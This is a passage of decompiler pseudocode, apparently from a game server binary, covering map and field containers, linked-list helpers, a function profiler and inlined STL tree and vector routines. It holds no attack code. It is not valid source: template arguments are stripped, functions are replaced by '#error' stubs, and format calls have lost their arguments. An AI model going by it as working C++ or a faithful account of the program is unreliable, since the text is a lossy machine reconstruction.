(int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (RoutionInterface **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (RoutionInterface **)((char *)_Newvec + _Counta); v4->_Mylast = (RoutionInterface **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (RoutionInterface **)_Newvec; } } } //----- (00445560) -------------------------------------------------------- void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx) { void *v2; // esi@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-14h]@1 int v4; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_SetRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; std::_Tree_std::allocator_0>>::insert( (std::_Tree,std::allocator,0> > *)((char *)v2 + 280), &result, (AbnormalStateInfo::ABSTATEINDEX *)&idx); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); } //----- (00445610) -------------------------------------------------------- #error "445610: undefined or illegal type '#592' (funcsize=153)" //----- (00445830) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace) { char *v2; // ecx@1 int v3; // esi@1 int v4; // edx@2 int v5; // eax@6 bool result; // al@6 v2 = (char *)&this->safm_vecRoutions; v3 = *((_DWORD *)v2 + 1); if ( v3 ) v4 = (*((_DWORD *)v2 + 2) - v3) >> 2; else v4 = 0; if ( v3 && v4 < (unsigned int)((*((_DWORD *)v2 + 3) - v3) >> 2) ) { v5 = *((_DWORD *)v2 + 2); *(_DWORD *)v5 = pInterFace; *((_DWORD *)v2 + 2) = v5 + 4; result = 1; } else { std::vector>::_Insert_n( (std::vector > *)v2, *((std::vector >::iterator *)v2 + 2), 1u, &pInterFace); result = 1; } return result; } //----- (00445890) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (004458C0) -------------------------------------------------------- void __thiscall FieldMap::_FieldMap(int this) { int v1; // edi@1 Movie::CinemaComplex *v2; // esi@1 std::_Tree,std::allocator,0> >::iterator v3; // ST08_4@3 std::_Tree,std::allocator,0> >::iterator v4; // ST04_4@3 std::_Tree,std::allocator,0> >::iterator result; // [sp+Ch] [bp-10h]@3 int v6; // [sp+18h] [bp-4h]@1 v1 = this; v2 = *(Movie::CinemaComplex **)(this + 68); v6 = 2; if ( v2 ) { Movie::CinemaComplex::_CinemaComplex(v2); operator delete(v2); } v3 = *(std::_Tree,std::allocator,0> >::iterator *)(v1 + 284); v4 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)(v1 + 284); LOBYTE(v6) = 1; std::_Tree_std::allocator_0>>::erase( (std::_Tree,std::allocator,0> > *)(v1 + 280), &result, v4, v3); operator delete(*(void **)(v1 + 284)); *(_DWORD *)(v1 + 284) = 0; *(_DWORD *)(v1 + 288) = 0; LOBYTE(v6) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 164)); v6 = -1; MobDeadCount::_MobDeadCount((MobDeadCount *)(v1 + 72)); } //----- (00445970) -------------------------------------------------------- void __thiscall FieldContainer::_FieldContainer(FieldContainer *this) { FieldContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; operator delete__(this->fc_GuildTournamentMap.attr); operator delete__(v1->fc_InstanceDungeon.attr); _eh_vector_destructor_iterator_(v1->gap11070, 0x128u, 512, (void (__thiscall *)(void *))FieldMap::_FieldMap); ShineCommonParameter::_ShineCommonParameter((ShineScript *)&v1->fc_FieldOption); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A2208: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (00445A10) -------------------------------------------------------- #error "445A10: undefined or illegal type '#331' (funcsize=70)" //----- (00445B20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #592 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); FieldMap::operator_(v3, (int)ele); return 1; } // 445B35: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00445B50) -------------------------------------------------------- int __thiscall FieldMap::operator_(int this, int a2) { int v2; // ebx@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); memcpy((void *)(this + 32), (const void *)(a2 + 32), 0x22u); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); *(_DWORD *)(this + 72) = *(_DWORD *)(a2 + 72); *(_DWORD *)(this + 76) = *(_DWORD *)(a2 + 76); *(_DWORD *)(this + 80) = *(_DWORD *)(a2 + 80); *(_BYTE *)(this + 84) = *(_BYTE *)(a2 + 84); memcpy((void *)(this + 88), (const void *)(a2 + 88), 0x58u); memcpy((void *)(this + 176), (const void *)(a2 + 176), 0x65u); std::_Tree_std::allocator_0>>::operator_( (std::_Tree,std::allocator,0> > *)(this + 280), (std::_Tree,std::allocator,0> > *)(a2 + 280)); return v2; } //----- (00445C40) -------------------------------------------------------- std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result) { std::_Tree,std::allocator,0> >::iterator v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // esi@1 v2 = (std::_Tree,std::allocator,0> >::iterator)result; v3 = this; if ( this != result ) { std::_Tree_std::allocator_0>>::erase( this, (std::_Tree,std::allocator,0> >::iterator *)&result, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead); std::_Tree_std::allocator_0>>::_Copy( v3, *(std::_Tree,std::allocator,0> > **)&v2); } return v3; } //----- (00445C70) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right) { std::_Tree,std::allocator,0> > *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *i; // eax@4 v2 = this; this->_Myhead->_Parent = std::_Tree_std::allocator_0>>::_Copy( this, _Right->_Myhead->_Parent, this->_Myhead); v2->_Mysize = _Right->_Mysize; v3 = v2->_Myhead; v4 = v3->_Parent; if ( v4->_Isnil ) { v3->_Left = v3; v2->_Myhead->_Right = v2->_Myhead; } else { v5 = v4->_Left; if ( !v4->_Left->_Isnil ) { do { v4 = v5; v5 = v5->_Left; } while ( !v5->_Isnil ); } v3->_Left = v4; v6 = v2->_Myhead; v7 = v6->_Parent; for ( i = v7->_Right; !i->_Isnil; i = i->_Right ) v7 = i; v6->_Right = v7; } } //----- (00445D00) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree,std::allocator,0> > *v3; // esi@1 char v4; // al@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ST0C_4@4 int v8; // [sp+0h] [bp-24h]@1 std::_Tree,std::allocator,0> > *v9; // [sp+Ch] [bp-18h]@1 std::_Tree_nod,std::allocator,0> >::_Node *_Newroot; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@4 v3 = this; _Newroot = this->_Myhead; v4 = _Rootnode->_Isnil; v11 = &v8; v9 = this; if ( !v4 ) { v5 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, &_Rootnode->_Myval, _Rootnode->_Color); if ( _Newroot->_Isnil ) _Newroot = v5; v6 = _Rootnode->_Left; v12 = 0; v5->_Left = std::_Tree_std::allocator_0>>::_Copy( v3, v6, v5); v5->_Right = std::_Tree_std::allocator_0>>::_Copy( v3, _Rootnode->_Right, v5); } return _Newroot; } //----- (00445D98) -------------------------------------------------------- void __usercall _L170514(int a1) { std::_Tree_std::allocator_0>>::_Erase( *(std::_Tree,std::allocator,0> > **)(a1 - 24), *(std::_Tree_nod,std::allocator,0> >::_Node **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00445DB0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #592 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); FieldMap::operator_(v3, (int)ele); return 1; } // 445DC6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00445DE0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #592 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00445E30) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #592 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00445E80) -------------------------------------------------------- #error "445E80: undefined or illegal type '#592' (funcsize=80)" //----- (00445F80) -------------------------------------------------------- #error "445F80: undefined or illegal type '#592' (funcsize=87)" //----- (004460A0) -------------------------------------------------------- #error "4460A0: undefined or illegal type '#592' (funcsize=70)" //----- (004461F0) -------------------------------------------------------- #error "4461F0: undefined or illegal type 'ListArray' (funcsize=87)" //----- (00446320) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this) { void *v1; // esi@1 int v2; // eax@1 unsigned int v3; // ecx@1 char *v4; // ecx@1 unsigned int v5; // eax@1 MapInfo *v6; // eax@4 signed int result; // eax@5 int v8; // eax@6 int v9; // esi@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1192))(v1); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = BTree::operator__(&mapdatabox.mdb_btree, v4); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 < mapdatabox.mdb_maxmapid && (v6 = mapdatabox.mdb_index[v5]) != 0 ) { **(_DWORD **)((char *)v1 + 78) = v6->RegenX; *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4) = v6->RegenY; v8 = ShineObjectClass::ShineObject::so_MapMarking(v1, 0); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = 1; } return result; } // 4460A0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (00446470) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this) { this->fp_AccumulateCount = 0i64; this->fp_EntryCount = 0i64; this->fp_ExecuteNumber = 0i64; } //----- (00446490) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this) { fprintf(FunctionProfiler::FunctionPerformance::fp_ProfileFile, "%s\t%I64u\t%f\t%f\n"); } //----- (00446570) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this) { __int16 v1; // ax@1 v1 = this->pr_CheckLoopCount_Command; if ( v1 > 0 ) { this->pr_CheckLoopCount_Real = v1; this->pr_CheckLoopCount_Command = -1; } } //----- (00446590) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this) { this->fca_Pointer.mask = 63; this->fca_Pointer.value = 0; memset(this->fca_stack, 0, sizeof(this->fca_stack)); } //----- (004465C0) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc) { unsigned int v2; // eax@1 this->fca_NetCommand[this->fca_Pointer.value].protocol = nc->protocol; v2 = this->fca_Pointer.mask & (this->fca_Pointer.value + 1); this->fca_Pointer.value = v2; this->fca_NetCommand[v2].protocol = 0; } //----- (004465F0) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename) { FunctionCallingAnalyzer *v2; // ebp@1 _iobuf *v3; // ebx@1 int v4; // esi@1 signed int v5; // edi@1 signed int v6; // edi@3 int v7; // esi@3 time_t timevar; // [sp+10h] [bp-48h]@1 char filenamebuffer[64]; // [sp+14h] [bp-44h]@1 v2 = this; mysecond(&timevar); localtime(&timevar); sprintf(filenamebuffer, "%s%04d%02d%02d%02d.txt"); v3 = fopen(filenamebuffer, "w"); fprintf(v3, "%s\n"); v4 = (int)v2->fca_NetCommand; v5 = 64; do { fprintf(v3, "%d/%d\n"); v4 += 2; --v5; } while ( v5 ); v6 = 127; v7 = (int)&v2->fca_stack[127]; do { if ( *(_DWORD *)v7 ) fprintf(v3, "%c %s[%u]\n"); --v6; v7 -= 4; } while ( v6 >= 0 ); fclose(v3); } //----- (00446700) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00446720) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 49) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 49); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00446780) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (004467D0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00446810) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00446850) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func) { std::_Tree,std::allocator,0> >::iterator v4; // eax@1 std::_Tree,std::allocator,0> >::iterator v5; // edi@1 std::mem_fun_ref_t v6; // esi@2 std::mem_fun_ref_t *v7; // eax@4 v4 = _First; v5 = _Last; if ( _First == _Last ) { v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { v6 = _Func; do { (*(void (__thiscall **)(_DWORD))&v6)(*(_DWORD *)&v4 + 16); std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_First.baseclass_0); v4 = _First; } while ( _First != v5 ); v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v6; } return v7; } //----- (00446890) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 _iobuf *v2; // eax@1 std::mem_fun_ref_t result; // [sp+0h] [bp-4h]@1 result = (std::mem_fun_ref_t)this; v1 = this; v2 = fopen("FunctionPerformance.txt", "w"); FunctionProfiler::FunctionPerformance::fp_ProfileFile = v2; if ( v2 ) { fprintf(v2, "Function\tExec Number\tTotal Second\tSecond/exec\n"); std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( &result, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Report); fclose(FunctionProfiler::FunctionPerformance::fp_ProfileFile); FunctionProfiler::FunctionPerformance::fp_ProfileFile = 0; } } //----- (004468F0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt) { this->pr_CheckLoopCount_Command = cnt; std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( (std::mem_fun_ref_t *)&cnt, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Clear); } //----- (00446920) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 __int16 v2; // ax@1 v1 = this; v2 = this->pr_CheckLoopCount_Real; if ( v2 >= 0 ) { if ( !v2 ) FunctionProfiler::PerformanceRecorder::pr_Report(this); --v1->pr_CheckLoopCount_Real; } } //----- (00446940) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.fp_FunctionName >= _Keyval->fp_FunctionName ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->fp_FunctionName < v3->_Myval.fp_FunctionName ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (004469B0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // edi@1 char *v3; // esi@2 LARGE_INTEGER exitcount; // [sp+4h] [bp-28h]@3 char key; // [sp+Ch] [bp-20h]@2 char *v6; // [sp+24h] [bp-8h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { v6 = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead ) { QueryPerformanceCounter(&exitcount); *((_QWORD *)v3 + 4) += *(_QWORD *)&exitcount - *((_QWORD *)v3 + 3); } } } //----- (00446A20) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1593].esc_skill.buffer[11906] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD 